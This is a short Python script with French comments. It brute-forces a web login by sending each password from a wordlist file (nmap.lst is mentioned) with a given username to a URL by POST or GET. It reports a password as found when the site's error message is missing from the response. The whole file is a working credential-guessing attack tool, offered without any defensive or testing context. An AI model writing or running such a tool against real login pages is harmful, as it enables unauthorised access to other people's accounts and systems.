import sys
import requests 

def bruteforce(method,url,username,password,error_msg):
    if method == "post":
        reponse=requests.post(url,data={
        "username":username,
        "password":password
        })
    elif method == "get":
        reponse=requests.get(url,params={
        "username":username,
        "password":password
        })

    if error_msg in reponse.text:
        #print("erreur : ",password)
        pass
    else:
        print("trouvé : ",password)
        return True

if __name__ == "__main__":
    method = sys.argv[1]
    url = sys.argv[2]
    username = sys.argv[3]
    dico = sys.argv[4]
    error_msg= sys.argv[5]
    with open(dico, 'r') as wordlist:
        for ligne in wordlist.readlines():
            # le fichier nmap.lst à des commentaires en début de fichier
            if ligne[0] != "#":
                password=ligne.strip()
                if bruteforce(method,url,username,password,error_msg) is True:
                    break